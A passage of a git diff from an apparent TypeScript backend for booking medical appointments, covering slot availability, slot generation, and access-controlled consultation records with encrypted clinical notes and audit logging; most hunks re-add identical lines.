minimum password length so a reset can't weaken the account. +export const passwordResetRequestSchema = z.object({ + email: z.string().email(), +}); + +export const passwordResetConfirmSchema = z.object({ + token: z.string().min(1), + newPassword: z.string().min(8), +}); diff --git a/backend/src/modules/availability/repositories/index.ts b/backend/src/modules/availability/repositories/index.ts index 75e51220..ddc692b2 100644 --- a/backend/src/modules/availability/repositories/index.ts +++ b/backend/src/modules/availability/repositories/index.ts @@ -1,70 +1,70 @@ -import { prisma } from '../../../db/prisma-client'; -import type { Prisma } from '@prisma/client'; - -type DbClient = typeof prisma | Prisma.TransactionClient; - -export function findOpenSlots(doctorProfileId: string) { - return prisma.availabilitySlot.findMany({ - where: { doctorProfileId, status: 'open', startTime: { gte: new Date() } }, - orderBy: { startTime: 'asc' }, - }); -} - -export function findSlotById(db: DbClient, slotId: string) { - return db.availabilitySlot.findUnique({ where: { id: slotId } }); -} - -export function findSlotTimesByIds(slotIds: string[]) { - return prisma.availabilitySlot.findMany({ - where: { id: { in: slotIds } }, - select: { id: true, startTime: true, endTime: true }, - }); -} - -export function findExistingSlotRanges(doctorProfileId: string, startTime: Date, endTime: Date) { - return prisma.availabilitySlot.findMany({ - where: { doctorProfileId, startTime: { gte: startTime }, endTime: { lte: endTime } }, - select: { startTime: true, endTime: true }, - }); -} - -export function createSlots(rows: { doctorProfileId: string; startTime: Date; endTime: Date }[]) { - return prisma.availabilitySlot.createMany({ data: rows }); -} - -/** - * THE mechanism that prevents double-booking (ARCHITECTURE.md Β§5.1): a - * single conditional UPDATE, atomic at the database level regardless of - * how many requests race to call this for the same slotId. Postgres - * serializes concurrent UPDATEs to the same row via row-level locking β€” - * exactly one caller's WHERE clause matches `status = 'open'`; every other - * concurrent caller's WHERE clause evaluates against the now-committed - * `booked` row and matches zero rows. - * - * Accepts a transaction client so callers (appointments/services) can run - * this as one step inside a larger transaction that also creates the - * Appointment row β€” see backend/tests/integration/booking.test.ts for the - * concurrency proof. - */ -export async function claimOpenSlot(db: DbClient, slotId: string): Promise { - const result = await db.availabilitySlot.updateMany({ - where: { id: slotId, status: 'open' }, - data: { status: 'booked' }, - }); - return result.count === 1; -} - -/** - * Inverse of claimOpenSlot, used when a FUTURE booked slot is freed by a - * cancellation (direct booking or the referral cascade). Conditional on - * both `booked` and `startTime > now` β€” a slot whose time has passed is - * left alone: the visit happened (or didn't) either way, and re-opening - * it would put unbookable time back on the calendar. - */ -export async function releaseBookedSlotIfFuture(db: DbClient, slotId: string): Promise { - const result = await db.availabilitySlot.updateMany({ - where: { id: slotId, status: 'booked', startTime: { gt: new Date() } }, - data: { status: 'open' }, - }); - return result.count === 1; -} +import { prisma } from '../../../db/prisma-client'; +import type { Prisma } from '@prisma/client'; + +type DbClient = typeof prisma | Prisma.TransactionClient; + +export function findOpenSlots(doctorProfileId: string) { + return prisma.availabilitySlot.findMany({ + where: { doctorProfileId, status: 'open', startTime: { gte: new Date() } }, + orderBy: { startTime: 'asc' }, + }); +} + +export function findSlotById(db: DbClient, slotId: string) { + return db.availabilitySlot.findUnique({ where: { id: slotId } }); +} + +export function findSlotTimesByIds(slotIds: string[]) { + return prisma.availabilitySlot.findMany({ + where: { id: { in: slotIds } }, + select: { id: true, startTime: true, endTime: true }, + }); +} + +export function findExistingSlotRanges(doctorProfileId: string, startTime: Date, endTime: Date) { + return prisma.availabilitySlot.findMany({ + where: { doctorProfileId, startTime: { gte: startTime }, endTime: { lte: endTime } }, + select: { startTime: true, endTime: true }, + }); +} + +export function createSlots(rows: { doctorProfileId: string; startTime: Date; endTime: Date }[]) { + return prisma.availabilitySlot.createMany({ data: rows }); +} + +/** + * THE mechanism that prevents double-booking (ARCHITECTURE.md Β§5.1): a + * single conditional UPDATE, atomic at the database level regardless of + * how many requests race to call this for the same slotId. Postgres + * serializes concurrent UPDATEs to the same row via row-level locking β€” + * exactly one caller's WHERE clause matches `status = 'open'`; every other + * concurrent caller's WHERE clause evaluates against the now-committed + * `booked` row and matches zero rows. + * + * Accepts a transaction client so callers (appointments/services) can run + * this as one step inside a larger transaction that also creates the + * Appointment row β€” see backend/tests/integration/booking.test.ts for the + * concurrency proof. + */ +export async function claimOpenSlot(db: DbClient, slotId: string): Promise { + const result = await db.availabilitySlot.updateMany({ + where: { id: slotId, status: 'open' }, + data: { status: 'booked' }, + }); + return result.count === 1; +} + +/** + * Inverse of claimOpenSlot, used when a FUTURE booked slot is freed by a + * cancellation (direct booking or the referral cascade). Conditional on + * both `booked` and `startTime > now` β€” a slot whose time has passed is + * left alone: the visit happened (or didn't) either way, and re-opening + * it would put unbookable time back on the calendar. + */ +export async function releaseBookedSlotIfFuture(db: DbClient, slotId: string): Promise { + const result = await db.availabilitySlot.updateMany({ + where: { id: slotId, status: 'booked', startTime: { gt: new Date() } }, + data: { status: 'open' }, + }); + return result.count === 1; +} diff --git a/backend/src/modules/availability/services/index.ts b/backend/src/modules/availability/services/index.ts index 9d79928a..d70a3966 100644 --- a/backend/src/modules/availability/services/index.ts +++ b/backend/src/modules/availability/services/index.ts @@ -1,57 +1,57 @@ -import { HttpError } from '../../../http-error'; -import * as availabilityRepo from '../repositories'; -import * as doctorsService from '../../doctors/services'; -import { buildSlotRanges } from '../slot-generation'; - -export function listOpenSlots(doctorProfileId: string) { - return availabilityRepo.findOpenSlots(doctorProfileId); -} - -export interface GenerateSlotsInput { - doctorProfileId: string; - /** ISO date, e.g. "2026-09-20" β€” single day only, no recurrence - * (ARCHITECTURE.md Β§6.3.6 overengineering guardrail: fixed-length slot - * generation only, no recurrence/buffer engine). */ - date: string; - startHour: number; // 0-23, UTC - endHour: number; // 0-23, UTC, exclusive - slotLengthMinutes: number; -} - -export async function generateSlots(input: GenerateSlotsInput) { - const { doctorProfileId, date, startHour, endHour } = input; - try { - buildSlotRanges(input); - } catch (error) { - throw new HttpError(400, error instanceof Error ? error.message : 'Invalid slot-generation input.'); - } - const dayStart = new Date(`${date}T00:00:00.000Z`); - const rangeStart = new Date(dayStart.getTime() + startHour * 60 * 60 * 1_000); - const rangeEnd = new Date(dayStart.getTime() + endHour * 60 * 60 * 1_000); - const existing = await availabilityRepo.findExistingSlotRanges(doctorProfileId, rangeStart, rangeEnd); - const existingStarts = existing.map((slot) => slot.startTime.getTime()); - const rows = buildSlotRanges(input, existingStarts); - - if (rows.length === 0) return { created: 0 }; - - const result = await availabilityRepo.createSlots(rows); - return { created: result.count }; -} - -/** Re-exported for appointments/services β€” the only cross-module entry - * points into this module's booking-concurrency primitive, slot reads and - * slot release. Never import availability/repositories from another - * module directly. */ -export { claimOpenSlot, findSlotById as getSlot, releaseBookedSlotIfFuture } from '../repositories'; - -/** Batch slot-time lookup for other modules (patient data export, issue - * #40). Times only β€” no status or doctor internals. */ -export async function getSlotTimesByIds(slotIds: string[]): Promise> { - if (slotIds.length === 0) return new Map(); - const rows = await availabilityRepo.findSlotTimesByIds([...new Set(slotIds)]); - return new Map(rows.map((row) => [row.id, { startTime: row.startTime, endTime: row.endTime }])); -} - -export async function assertCanGenerateFor(userId: string, doctorProfileId: string) { - await doctorsService.assertOwnsDoctorProfile(userId, doctorProfileId); -} +import { HttpError } from '../../../http-error'; +import * as availabilityRepo from '../repositories'; +import * as doctorsService from '../../doctors/services'; +import { buildSlotRanges } from '../slot-generation'; + +export function listOpenSlots(doctorProfileId: string) { + return availabilityRepo.findOpenSlots(doctorProfileId); +} + +export interface GenerateSlotsInput { + doctorProfileId: string; + /** ISO date, e.g. "2026-09-20" β€” single day only, no recurrence + * (ARCHITECTURE.md Β§6.3.6 overengineering guardrail: fixed-length slot + * generation only, no recurrence/buffer engine). */ + date: string; + startHour: number; // 0-23, UTC + endHour: number; // 0-23, UTC, exclusive + slotLengthMinutes: number; +} + +export async function generateSlots(input: GenerateSlotsInput) { + const { doctorProfileId, date, startHour, endHour } = input; + try { + buildSlotRanges(input); + } catch (error) { + throw new HttpError(400, error instanceof Error ? error.message : 'Invalid slot-generation input.'); + } + const dayStart = new Date(`${date}T00:00:00.000Z`); + const rangeStart = new Date(dayStart.getTime() + startHour * 60 * 60 * 1_000); + const rangeEnd = new Date(dayStart.getTime() + endHour * 60 * 60 * 1_000); + const existing = await availabilityRepo.findExistingSlotRanges(doctorProfileId, rangeStart, rangeEnd); + const existingStarts = existing.map((slot) => slot.startTime.getTime()); + const rows = buildSlotRanges(input, existingStarts); + + if (rows.length === 0) return { created: 0 }; + + const result = await availabilityRepo.createSlots(rows); + return { created: result.count }; +} + +/** Re-exported for appointments/services β€” the only cross-module entry + * points into this module's booking-concurrency primitive, slot reads and + * slot release. Never import availability/repositories from another + * module directly. */ +export { claimOpenSlot, findSlotById as getSlot, releaseBookedSlotIfFuture } from '../repositories'; + +/** Batch slot-time lookup for other modules (patient data export, issue + * #40). Times only β€” no status or doctor internals. */ +export async function getSlotTimesByIds(slotIds: string[]): Promise> { + if (slotIds.length === 0) return new Map(); + const rows = await availabilityRepo.findSlotTimesByIds([...new Set(slotIds)]); + return new Map(rows.map((row) => [row.id, { startTime: row.startTime, endTime: row.endTime }])); +} + +export async function assertCanGenerateFor(userId: string, doctorProfileId: string) { + await doctorsService.assertOwnsDoctorProfile(userId, doctorProfileId); +} diff --git a/backend/src/modules/availability/slot-generation.ts b/backend/src/modules/availability/slot-generation.ts index 6ed26116..674171b4 100644 --- a/backend/src/modules/availability/slot-generation.ts +++ b/backend/src/modules/availability/slot-generation.ts @@ -1,45 +1,45 @@ -export interface SlotGenerationInput { - doctorProfileId: string; - date: string; - startHour: number; - endHour: number; - slotLengthMinutes: number; -} - -export interface GeneratedSlotRange { - doctorProfileId: string; - startTime: Date; - endTime: Date; -} - -/** Pure slot construction, shared by the service and property tests. */ -export function buildSlotRanges( - input: SlotGenerationInput, - existingStartTimes: readonly number[] = [], -): GeneratedSlotRange[] { - const { doctorProfileId, date, startHour, endHour, slotLengthMinutes } = input; - if (!Number.isInteger(slotLengthMinutes) || slotLengthMinutes <= 0) { - throw new Error('slotLengthMinutes must be a positive integer.'); - } - if (!Number.isInteger(startHour) || !Number.isInteger(endHour) - || startHour < 0 || endHour > 24 || startHour >= endHour) { - throw new Error('startHour must be before endHour, both within 0-24.'); - } - - const dayStart = new Date(`${date}T00:00:00.000Z`); - if (Number.isNaN(dayStart.getTime()) || dayStart.toISOString().slice(0, 10) !== date) { - throw new Error('date must be a valid ISO date.'); - } - - const rangeStart = dayStart.getTime() + startHour * 60 * 60 * 1_000; - const rangeEnd = dayStart.getTime() + endHour * 60 * 60 * 1_000; - const existing = new Set(existingStartTimes); - const stepMs = slotLengthMinutes * 60 * 1_000; - const slots: GeneratedSlotRange[] = []; - - for (let start = rangeStart; start + stepMs <= rangeEnd; start += stepMs) { - if (existing.has(start)) continue; - slots.push({ doctorProfileId, startTime: new Date(start), endTime: new Date(start + stepMs) }); - } - return slots; -} +export interface SlotGenerationInput { + doctorProfileId: string; + date: string; + startHour: number; + endHour: number; + slotLengthMinutes: number; +} + +export interface GeneratedSlotRange { + doctorProfileId: string; + startTime: Date; + endTime: Date; +} + +/** Pure slot construction, shared by the service and property tests. */ +export function buildSlotRanges( + input: SlotGenerationInput, + existingStartTimes: readonly number[] = [], +): GeneratedSlotRange[] { + const { doctorProfileId, date, startHour, endHour, slotLengthMinutes } = input; + if (!Number.isInteger(slotLengthMinutes) || slotLengthMinutes <= 0) { + throw new Error('slotLengthMinutes must be a positive integer.'); + } + if (!Number.isInteger(startHour) || !Number.isInteger(endHour) + || startHour < 0 || endHour > 24 || startHour >= endHour) { + throw new Error('startHour must be before endHour, both within 0-24.'); + } + + const dayStart = new Date(`${date}T00:00:00.000Z`); + if (Number.isNaN(dayStart.getTime()) || dayStart.toISOString().slice(0, 10) !== date) { + throw new Error('date must be a valid ISO date.'); + } + + const rangeStart = dayStart.getTime() + startHour * 60 * 60 * 1_000; + const rangeEnd = dayStart.getTime() + endHour * 60 * 60 * 1_000; + const existing = new Set(existingStartTimes); + const stepMs = slotLengthMinutes * 60 * 1_000; + const slots: GeneratedSlotRange[] = []; + + for (let start = rangeStart; start + stepMs <= rangeEnd; start += stepMs) { + if (existing.has(start)) continue; + slots.push({ doctorProfileId, startTime: new Date(start), endTime: new Date(start + stepMs) }); + } + return slots; +} diff --git a/backend/src/modules/availability/validation.ts b/backend/src/modules/availability/validation.ts index 612ac151..aa88973f 100644 --- a/backend/src/modules/availability/validation.ts +++ b/backend/src/modules/availability/validation.ts @@ -1,8 +1,8 @@ -import { z } from 'zod'; - -export const generateSlotsSchema = z.object({ - date: z.string().regex(/^\d{4}-\d{2}-\d{2}$/, 'date must be YYYY-MM-DD'), - startHour: z.number().int().min(0).max(23), - endHour: z.number().int().min(1).max(24), - slotLengthMinutes: z.number().int().positive(), -}); +import { z } from 'zod'; + +export const generateSlotsSchema = z.object({ + date: z.string().regex(/^\d{4}-\d{2}-\d{2}$/, 'date must be YYYY-MM-DD'), + startHour: z.number().int().min(0).max(23), + endHour: z.number().int().min(1).max(24), + slotLengthMinutes: z.number().int().positive(), +}); diff --git a/backend/src/modules/consultations/controllers/index.ts b/backend/src/modules/consultations/controllers/index.ts index 3588f15f..5a9ca7b9 100644 --- a/backend/src/modules/consultations/controllers/index.ts +++ b/backend/src/modules/consultations/controllers/index.ts @@ -1,48 +1,48 @@ -import type { Request, Response } from 'express'; -import * as consultationsService from '../services'; -import { closeConsultationSchema, createConsultationSchema, createReferralsSchema } from '../validation'; -import { HttpError } from '../../../http-error'; -import { auditActor } from '../../../middleware/request-id'; -import { getParam } from '../../../request-params'; - -/** POST /appointments/:appointmentId/consultation β€” close (create) the - * consultation for the appointment in the path. */ -export async function closeConsultation(req: Request, res: Response) { - if (!req.user) throw new HttpError(401, 'Authentication required.'); - const appointmentId = getParam(req, 'appointmentId'); - const { outcome, notes } = closeConsultationSchema.parse(req.body); - - const { consultation, appointment } = await consultationsService.createConsultation(auditActor(req), { - appointmentId, - outcome, - notes, - }); - - res.status(201).json({ consultation, appointment }); -} - -/** POST /consultations β€” the same write, with the appointment in the body. - * Kept because Phase 3's referral flow and its tests address it this way. */ -export async function create(req: Request, res: Response) { - if (!req.user) throw new HttpError(401, 'Authentication required.'); - const input = createConsultationSchema.parse(req.body); - const { consultation } = await consultationsService.createConsultation(auditActor(req), input); - res.status(201).json(consultation); -} - -export async function getOne(req: Request, res: Response) { - if (!req.user) throw new HttpError(401, 'Authentication required.'); - const consultation = await consultationsService.getConsultation(req.user.id, getParam(req, 'consultationId')); - res.status(200).json(consultation); -} - -export async function createReferrals(req: Request, res: Response) { - if (!req.user) throw new HttpError(401, 'Authentication required.'); - const { targets } = createReferralsSchema.parse(req.body); - const referrals = await consultationsService.createReferrals( - req.user.id, - getParam(req, 'consultationId'), - targets, - ); - res.status(201).json(referrals); -} +import type { Request, Response } from 'express'; +import * as consultationsService from '../services'; +import { closeConsultationSchema, createConsultationSchema, createReferralsSchema } from '../validation'; +import { HttpError } from '../../../http-error'; +import { auditActor } from '../../../middleware/request-id'; +import { getParam } from '../../../request-params'; + +/** POST /appointments/:appointmentId/consultation β€” close (create) the + * consultation for the appointment in the path. */ +export async function closeConsultation(req: Request, res: Response) { + if (!req.user) throw new HttpError(401, 'Authentication required.'); + const appointmentId = getParam(req, 'appointmentId'); + const { outcome, notes } = closeConsultationSchema.parse(req.body); + + const { consultation, appointment } = await consultationsService.createConsultation(auditActor(req), { + appointmentId, + outcome, + notes, + }); + + res.status(201).json({ consultation, appointment }); +} + +/** POST /consultations β€” the same write, with the appointment in the body. + * Kept because Phase 3's referral flow and its tests address it this way. */ +export async function create(req: Request, res: Response) { + if (!req.user) throw new HttpError(401, 'Authentication required.'); + const input = createConsultationSchema.parse(req.body); + const { consultation } = await consultationsService.createConsultation(auditActor(req), input); + res.status(201).json(consultation); +} + +export async function getOne(req: Request, res: Response) { + if (!req.user) throw new HttpError(401, 'Authentication required.'); + const consultation = await consultationsService.getConsultation(req.user.id, getParam(req, 'consultationId')); + res.status(200).json(consultation); +} + +export async function createReferrals(req: Request, res: Response) { + if (!req.user) throw new HttpError(401, 'Authentication required.'); + const { targets } = createReferralsSchema.parse(req.body); + const referrals = await consultationsService.createReferrals( + req.user.id, + getParam(req, 'consultationId'), + targets, + ); + res.status(201).json(referrals); +} diff --git a/backend/src/modules/consultations/repositories/index.ts b/backend/src/modules/consultations/repositories/index.ts index a92d9b53..bab73db3 100644 --- a/backend/src/modules/consultations/repositories/index.ts +++ b/backend/src/modules/consultations/repositories/index.ts @@ -1,27 +1,27 @@ -import { prisma } from '../../../db/prisma-client'; -import type { Consultation, ConsultationOutcome, Prisma } from '@prisma/client'; - -type DbClient = typeof prisma | Prisma.TransactionClient; - -export function createConsultation( - db: DbClient, - data: { appointmentId: string; outcome: ConsultationOutcome | null; notes: string | null }, -): Promise { - return db.consultation.create({ data }); -} - -/** One consultation per appointment (the unique index is the guarantee β€” - * this read is only for callers that need the row without a write). */ -export function findConsultationByAppointmentId( - db: DbClient, - appointmentId: string, -): Promise { - return db.consultation.findUnique({ where: { appointmentId } }); -} - -export function findConsultationById(db: DbClient, id: string) { - return db.consultation.findUnique({ - where: { id }, - include: { appointment: true, referrals: true }, - }); -} +import { prisma } from '../../../db/prisma-client'; +import type { Consultation, ConsultationOutcome, Prisma } from '@prisma/client'; + +type DbClient = typeof prisma | Prisma.TransactionClient; + +export function createConsultation( + db: DbClient, + data: { appointmentId: string; outcome: ConsultationOutcome | null; notes: string | null }, +): Promise { + return db.consultation.create({ data }); +} + +/** One consultation per appointment (the unique index is the guarantee β€” + * this read is only for callers that need the row without a write). */ +export function findConsultationByAppointmentId( + db: DbClient, + appointmentId: string, +): Promise { + return db.consultation.findUnique({ where: { appointmentId } }); +} + +export function findConsultationById(db: DbClient, id: string) { + return db.consultation.findUnique({ + where: { id }, + include: { appointment: true, referrals: true }, + }); +} diff --git a/backend/src/modules/consultations/routes/index.ts b/backend/src/modules/consultations/routes/index.ts index d2227f43..e7ec6fa3 100644 --- a/backend/src/modules/consultations/routes/index.ts +++ b/backend/src/modules/consultations/routes/index.ts @@ -1,47 +1,47 @@ -import { Router } from 'express'; -import { authenticate, requireRole, requireVerifiedEmail } from '../../../middleware/auth'; -import * as consultationsController from '../controllers'; - -/** - * Appointment-scoped router. Mounted at /appointments in src/app.ts, so the - * full path is POST /appointments/:appointmentId/consultation. It is a - * separate router from `consultationsRouter` because this module's other - * routes live under /consultations β€” mounting one router at both prefixes - * would also publish `/appointments/:consultationId`. - * - * Closing is doctor-only and restricted to the doctor's own appointment via - * the service layer; the one-per-appointment guarantee is enforced at the DB - * level (`Consultation.appointmentId UNIQUE`). Verified-address bar, same as - * booking and the create route below β€” closing a consultation is what - * referrals and orders hang off. - */ -export const appointmentConsultationsRouter = Router(); - -appointmentConsultationsRouter.post( - '/:appointmentId/consultation', - authenticate, - requireRole('doctor'), - requireVerifiedEmail, - consultationsController.closeConsultation, -); - -/** Mounted at /consultations. */ -export const consultationsRouter = Router(); - -consultationsRouter.post( - '/', - authenticate, - requireRole('doctor'), - requireVerifiedEmail, - consultationsController.create, -); -consultationsRouter.get('/:consultationId', authenticate, consultationsController.getOne); -// Issue #66 (PRD Β§8.2.4): multiple simultaneous referrals from one -// consultation, atomic all-or-none, each with its own snapshot copy. -consultationsRouter.post( - '/:consultationId/referrals', - authenticate, - requireRole('doctor'), - requireVerifiedEmail, - consultationsController.createReferrals, -); +import { Router } from 'express'; +import { authenticate, requireRole, requireVerifiedEmail } from '../../../middleware/auth'; +import * as consultationsController from '../controllers'; + +/** + * Appointment-scoped router. Mounted at /appointments in src/app.ts, so the + * full path is POST /appointments/:appointmentId/consultation. It is a + * separate router from `consultationsRouter` because this module's other + * routes live under /consultations β€” mounting one router at both prefixes + * would also publish `/appointments/:consultationId`. + * + * Closing is doctor-only and restricted to the doctor's own appointment via + * the service layer; the one-per-appointment guarantee is enforced at the DB + * level (`Consultation.appointmentId UNIQUE`). Verified-address bar, same as + * booking and the create route below β€” closing a consultation is what + * referrals and orders hang off. + */ +export const appointmentConsultationsRouter = Router(); + +appointmentConsultationsRouter.post( + '/:appointmentId/consultation', + authenticate, + requireRole('doctor'), + requireVerifiedEmail, + consultationsController.closeConsultation, +); + +/** Mounted at /consultations. */ +export const consultationsRouter = Router(); + +consultationsRouter.post( + '/', + authenticate, + requireRole('doctor'), + requireVerifiedEmail, + consultationsController.create, +); +consultationsRouter.get('/:consultationId', authenticate, consultationsController.getOne); +// Issue #66 (PRD Β§8.2.4): multiple simultaneous referrals from one +// consultation, atomic all-or-none, each with its own snapshot copy. +consultationsRouter.post( + '/:consultationId/referrals', + authenticate, + requireRole('doctor'), + requireVerifiedEmail, + consultationsController.createReferrals, +); diff --git a/backend/src/modules/consultations/services/index.ts b/backend/src/modules/consultations/services/index.ts index 76acf384..1039f8a8 100644 --- a/backend/src/modules/consultations/services/index.ts +++ b/backend/src/modules/consultations/services/index.ts @@ -1,146 +1,146 @@ -// Consultations services β€” one write path for the Consultation record. -// -// Phase 2, issue #4 ("close a consultation exactly once") and Phase 3's -// minimal slice (issue #5's lineage host + issue #66's multi-referral -// endpoint) both create this row, so they share `createConsultation` below -// rather than each writing the table their own way. The routes that reach it -// (`POST /consultations`, `POST /appointments/:id/consultation`, and the -// orders module's consultation step) are three addresses for one operation, -// not three implementations. -import { Prisma, type ConsultationOutcome } from '@prisma/client'; -import { prisma } from '../../../db/prisma-client'; -import { HttpError } from '../../../http-error'; -import { decryptField, encryptField } from '../../../utils/field-encryption'; -import * as appointmentsService from '../../appointments/services'; -import * as auditService from '../../audit/services'; -import * as doctorsService from '../../doctors/services'; -import * as patientsService from '../../patients/services'; -import * as consultationsRepo from '../repositories'; -import * as referralsService from '../../referrals/services'; -import type { ReferralTargetInput } from '../../referrals/services'; - -export interface ConsultationInput { - appointmentId: string; - /** Required by the close routes (`closeConsultationSchema`); optional here - * only so the create route can open a record before sign-off (Phase 3's - * referral slice, matching `POST /consultations`). */ - outcome?: ConsultationOutcome | null; - notes?: string | null; -} - -/** - * Create (close) the consultation for the caller's own appointment, exactly - * once. - * - * - The one-consultation-per-appointment guarantee is enforced at the DB - * level by `Consultation.appointmentId UNIQUE`, not by a check-then-write - * here. Two concurrent closes both reach the INSERT; exactly one commits, - * the loser gets P2002 and a 409 (docs/adr/0009). - * - "Doctor-only, own-appointment-only" is enforced by reading the - * Appointment through appointmentsService (the only legal cross-module - * seam per AGENTS.md hard rule 4): that service returns null for an - * appointment that doesn't exist or isn't the caller's, and this service - * answers 404 either way so it never reveals that someone else's - * appointment exists. - * - A consultation is recorded against a `completed` appointment β€” the visit - * that produced it has to have happened (Phase 3's referral precondition). - * - Single-use in v1: no amendments/edits. That is an explicit open - * question (ROADMAP.md Phase 2), not an assumption we silently bake in. - * - `notes` is clinical free text and is stored as an AES-256-GCM envelope - * (ARCHITECTURE.md Β§4.3 / Β§2 β€” Phase 8 issue #46), never plaintext, so - * every writer goes through here. The ciphertext is unsearchable by - * design; reads decrypt in the app layer. - */ -export async function createConsultation(actor: auditService.AuditActor, input: ConsultationInput) { - if (!actor.userId) throw new HttpError(401, 'Authentication required.'); - - const appointment = await appointmentsService.getAppointmentForDoctor(actor.userId, input.appointmentId); - if (!appointment) { - throw new HttpError(404, 'Appointment not found.'); - } - if (appointment.status !== 'completed') { - throw new HttpError(409, 'A consultation is recorded against a completed appointment.'); - } - - const notes = input.notes ?? null; - - let consultation; - try { - consultation = await prisma.$transaction(async (tx) => { - const record = await consultationsRepo.createConsultation(tx, { - appointmentId: input.appointmentId, - outcome: input.outcome ?? null, - notes: notes === null ? null : (encryptField(notes) ?? null), - }); - - // Phase 8 audit trail (issue #43): the state change and its event commit - // together, so an event exists iff the consultation was actually closed. - await auditService.record(tx, actor, { - entityType: 'Consultation', - entityId: record.id, - action: 'consultation.closed', - fromState: null, - toState: record.outcome, - metadata: { appointmentId: record.appointmentId }, - }); - - return record; - }); - } catch (err) { - // The DB unique constraint is the actual guarantee; translate the race's - // loser into a 409 rather than a 500. - if (err instanceof Prisma.PrismaClientKnownRequestError && err.code === 'P2002') { - throw new HttpError(409, 'A consultation for this appointment has already been closed.'); - } - throw err; - } - - // The caller just wrote these notes, so hand them back in plaintext rather - // than leaking the stored ciphertext envelope. - return { consultation: { ...consultation, notes }, appointment }; -} - -/** Service-to-service read for modules that hang records off a consultation - * (orders: prescriptions, lab orders). Returns the stored row as-is β€” callers - * outside this module never touch `Consultation` themselves (AGENTS.md hard - * rule 4). */ -export async function getConsultationRecord(consultationId: string) { - const consultation = await consultationsRepo.findConsultationById(prisma, consultationId); - if (!consultation) throw new HttpError(404, 'Consultation not found.'); - return consultation; -} - -/** Visible to the treating doctor and the patient of the underlying - * appointment β€” nothing wider in v1. `notes` is decrypted for the reader; - * the stored ciphertext never leaves this module. */ -export async function getConsultation(userId: string, consultationId: string) { - const consultation = await consultationsRepo.findConsultationById(prisma, consultationId); - if (!consultation) throw new HttpError(404, 'Consultation not found.'); - - if (consultation.appointment) { - const doctor = await doctorsService.getMyDoctorProfile(userId).catch(() => null); - if (doctor && doctor.id === consultation.appointment.doctorProfileId) { - return { ...consultation, notes: decryptField(consultation.notes) }; - } - const patient = await patientsService.getMyPatientProfile(userId).catch(() => null); - if (patient && patient.id === consultation.appointment.patientProfileId) { - return { ...consultation, notes: decryptField(consultation.notes) }; - } - } - throw new HttpError(403, 'You do not have access to this consultation.'); -} - -/** - * POST /consultations/:id/referrals (issue #66): multiple simultaneous - * referrals from one consultation, atomically. Delegates to the - * referrals service β€” the referral write surface lives there; this is a - * service-to-service call across the module boundary, never a repository - * import. - */ -export async function createReferrals( - userId: string, - consultationId: string, - targets: ReferralTargetInput[], -) { - return referralsService.createReferralBatch(userId, consultationId, targets); -} +// Consultations services β€” one write path for the Consultation record. +// +// Phase 2, issue #4 ("close a consultation exactly once") and Phase 3's +// minimal slice (issue #5's lineage host + issue #66's multi-referral +// endpoint) both create this row, so they share `createConsultation` below +// rather than each writing the table their own way. The routes that reach it +// (`POST /consultations`, `POST /appointments/:id/consultation`, and the +// orders module's consultation step) are three addresses for one operation, +// not three implementations. +import { Prisma, type ConsultationOutcome } from '@prisma/client'; +import { prisma } from '../../../db/prisma-client'; +import { HttpError } from '../../../http-error'; +import { decryptField, encryptField } from '../../../utils/field-encryption'; +import * as appointmentsService from '../../appointments/services'; +import * as auditService from '../../audit/services'; +import * as doctorsService from '../../doctors/services'; +import * as patientsService from '../../patients/services'; +import * as consultationsRepo from '../repositories'; +import * as referralsService from '../../referrals/services'; +import type { ReferralTargetInput } from '../../referrals/services'; + +export interface ConsultationInput { + appointmentId: string; + /** Required by the close routes (`closeConsultationSchema`); optional here + * only so the create route can open a record before sign-off (Phase 3's + * referral slice, matching `POST /consultations`). */ + outcome?: ConsultationOutcome | null; + notes?: string | null; +} + +/** + * Create (close) the consultation for the caller's own appointment, exactly + * once. + * + * - The one-consultation-per-appointment guarantee is enforced at the DB + * level by `Consultation.appointmentId UNIQUE`, not by a check-then-write + * here. Two concurrent closes both reach the INSERT; exactly one commits, + * the loser gets P2002 and a 409 (docs/adr/0009). + * - "Doctor-only, own-appointment-only" is enforced by reading the + * Appointment through appointmentsService (the only legal cross-module + * seam per AGENTS.md hard rule 4): that service returns null for an + * appointment that doesn't exist or isn't the caller's, and this service + * answers 404 either way so it never reveals that someone else's + * appointment exists. + * - A consultation is recorded against a `completed` appointment β€” the visit + * that produced it has to have happened (Phase 3's referral precondition). + * - Single-use in v1: no amendments/edits. That is an explicit open + * question (ROADMAP.md Phase 2), not an assumption we silently bake in. + * - `notes` is clinical free text and is stored as an AES-256-GCM envelope + * (ARCHITECTURE.md Β§4.3 / Β§2 β€” Phase 8 issue #46), never plaintext, so + * every writer goes through here. The ciphertext is unsearchable by + * design; reads decrypt in the app layer. + */ +export async function createConsultation(actor: auditService.AuditActor, input: ConsultationInput) { + if (!actor.userId) throw new HttpError(401, 'Authentication required.'); + + const appointment = await appointmentsService.getAppointmentForDoctor(actor.userId, input.appointmentId); + if (!appointment) { + throw new HttpError(404, 'Appointment not found.'); + } + if (appointment.status !== 'completed') { + throw new HttpError(409, 'A consultation is recorded against a completed appointment.'); + } + + const notes = input.notes ?? null; + + let consultation; + try { + consultation = await prisma.$transaction(async (tx) => { + const record = await consultationsRepo.createConsultation(tx, { + appointmentId: input.appointmentId, + outcome: input.outcome ?? null, + notes: notes === null ? null : (encryptField(notes) ?? null), + }); + + // Phase 8 audit trail (issue #43): the state change and its event commit + // together, so an event exists iff the consultation was actually closed. + await auditService.record(tx, actor, { + entityType: 'Consultation', + entityId: record.id, + action: 'consultation.closed', + fromState: null, + toState: record.outcome, + metadata: { appointmentId: record.appointmentId }, + }); + + return record; + }); + } catch (err) { + // The DB unique constraint is the actual guarantee; translate the race's + // loser into a 409 rather than a 500. + if (err instanceof Prisma.PrismaClientKnownRequestError && err.code === 'P2002') { + throw new HttpError(409, 'A consultation for this appointment has already been closed.'); + } + throw err; + } + + // The caller just wrote these notes, so hand them back in plaintext rather + // than leaking the stored ciphertext envelope. + return { consultation: { ...consultation, notes }, appointment }; +} + +/** Service-to-service read for modules that hang records off a consultation + * (orders: prescriptions, lab orders). Returns the stored row as-is β€” callers + * outside this module never touch `Consultation` themselves (AGENTS.md hard + * rule 4). */ +export async function getConsultationRecord(consultationId: string) { + const consultation = await consultationsRepo.findConsultationById(prisma, consultationId); + if (!consultation) throw new HttpError(404, 'Consultation not found.'); + return consultation; +} + +/** Visible to the treating doctor and the patient of the underlying + * appointment β€” nothing wider in v1. `notes` is decrypted for the reader; + * the stored ciphertext never leaves this module. */ +export async function getConsultation(userId: string, consultationId: string) { + const consultation = await consultationsRepo.findConsultationById(prisma, consultationId); + if (!consultation) throw new HttpError(404, 